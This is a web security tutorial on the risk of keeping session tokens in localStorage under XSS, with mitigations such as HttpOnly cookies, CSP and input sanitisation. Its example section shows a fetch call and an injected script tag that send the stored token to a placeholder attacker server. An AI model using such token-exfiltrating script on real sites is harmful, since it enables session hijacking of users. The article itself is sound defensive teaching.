Session token stored in localStorage exposed to XSS

Loading

When session tokens (such as JWTs) are stored in localStorage, they become vulnerable to Cross-Site Scripting (XSS) attacks. This can lead to session hijacking, where an attacker steals the token and gains unauthorized access to the user’s account.


1. What is XSS and Why is localStorage a Problem?

What is XSS (Cross-Site Scripting)?

XSS is a type of attack where an attacker injects malicious JavaScript into a web page, which is then executed in the user’s browser. This script can steal sensitive data, including session tokens stored in localStorage.

Why is localStorage Risky?

Unlike cookies with HttpOnly flags, data stored in localStorage is accessible to JavaScript, meaning any malicious script running on the page can read it.


2. Example of XSS Stealing a Token from localStorage

Vulnerable Code

// Storing JWT in localStorage (Unsafe)
localStorage.setItem("token", "eyJhbGciOiJIUzI1NiIsInR...");

If an attacker injects malicious JavaScript, they can easily steal the token:

console.log(localStorage.getItem("token"));  // Attacker can see the token in console

// Send the token to the attacker's server
fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"));

Example of an XSS Attack

Suppose a website has a search bar that does not properly escape user input. An attacker could inject:

<script>
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));
</script>

Whenever a user loads the page, their session token is sent to the attacker’s server, and the attacker can impersonate them.


3. How to Prevent This? Best Practices

1. Use HTTP-Only Cookies Instead of localStorage

Instead of storing the token in localStorage, store it in an HTTP-only cookie, which JavaScript cannot access.

Server-side (Express.js example)

app.post("/login", (req, res) => {
const token = generateJWT(req.user);
res.cookie("session_token", token, {
httpOnly: true,
secure: true,
sameSite: "Strict"
}); // Secure cookie
res.json({ success: true });
});

Why is this safer?
HttpOnly flag prevents JavaScript from accessing the cookie.
Secure flag ensures the cookie is only sent over HTTPS.
SameSite=Strict prevents CSRF attacks by blocking cross-site requests.


2. Implement Content Security Policy (CSP)

A Content Security Policy (CSP) restricts which scripts can execute, preventing XSS.

Example CSP Header (Nginx or Apache config):

Content-Security-Policy: default-src 'self'; script-src 'self';

This blocks inline <script> tags, preventing attackers from injecting malicious JavaScript.


3. Use Input Validation and Output Encoding

Sanitize user input to prevent script injection.

In Express (Node.js):

const sanitizeHtml = require("sanitize-html");
app.post("/search", (req, res) => {
const sanitizedInput = sanitizeHtml(req.body.searchQuery);
res.send(`Search results for: ${sanitizedInput}`);
});

For React Applications: Avoid using dangerouslySetInnerHTML unless you are sanitizing content.


4. Use a Web Application Firewall (WAF)

A WAF like Cloudflare, AWS WAF, or ModSecurity can block XSS attacks before they reach your application.


5. Regularly Rotate and Expire Tokens

If an attacker does steal a token, it should expire quickly.

JWT with Short Expiry (Example in Node.js):

const token = jwt.sign({ userId: user.id }, SECRET_KEY, { expiresIn: "15m" });

Refresh tokens safely stored in HttpOnly cookies ensure the session can continue without storing tokens in localStorage.


4. What If You Must Use localStorage?

If switching to cookies is not possible, take additional security measures:

Encrypt the token before storing it.
Use CSP and input validation to minimize XSS risks.
Clear localStorage on logout to prevent token reuse:

localStorage.removeItem("token");

5. Conclusion

Never store session tokens in localStorage because they can be easily accessed by malicious scripts.

Safer Alternative: Use HttpOnly, Secure cookies to store authentication tokens.

Security Measures: Implement CSP, input validation, token expiration, and WAFs to protect against XSS and session hijacking.

By following these best practices, you can secure your application and protect user sessions from attackers.

Leave a Reply

Your email address will not be published. Required fields are marked *